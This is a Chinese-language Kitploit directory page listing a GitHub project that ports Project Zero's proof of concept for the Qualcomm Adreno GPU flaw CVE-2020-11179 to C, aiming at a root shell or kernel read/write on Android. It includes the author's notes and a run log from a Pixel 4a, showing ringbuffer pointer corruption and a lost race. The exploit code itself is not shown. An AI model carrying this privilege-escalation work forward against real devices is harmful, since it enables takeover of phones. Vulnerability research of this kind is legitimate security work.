Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-11179-Adreno-Qualcomm-GPU — CVE-2020-11179 Adreno-Qualcomm-GPU 漏洞的产品化工作,原始 PoC 由 P0 的 Ben Hawkes 编写 | Kitploit
工具/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
Android安全权限提升漏洞分析漏洞利用移动安全硬件安全二进制利用
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

CVE-2020-11179-Adreno-Qualcomm-GPU

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-11179 Adreno-Qualcomm-GPU 漏洞的产品化工作,原始 PoC 由 P0 的 Ben Hawkes 编写

查看仓库
73151年前尚未审核

我在P0研究员Ben Hawkes创建的poc基础上的独立工作
原文:https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

我的目标是将他的poc转换为C语言,并从他停下的地方继续, 把poc变成root shell或内核r/w,然后以某种方式修改系统以展示内核代码执行。

  • 很可能,ttbr0的偏移量在我的测试手机上不同
  • 需要计算和调试来找到偏移量

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

测试设备:pixel 4a
android 10,构建版本 QD4A.2000317.027

TODO:

  • 处理上下文切换和竞争条件
  • 实现内核代码执行
下载工具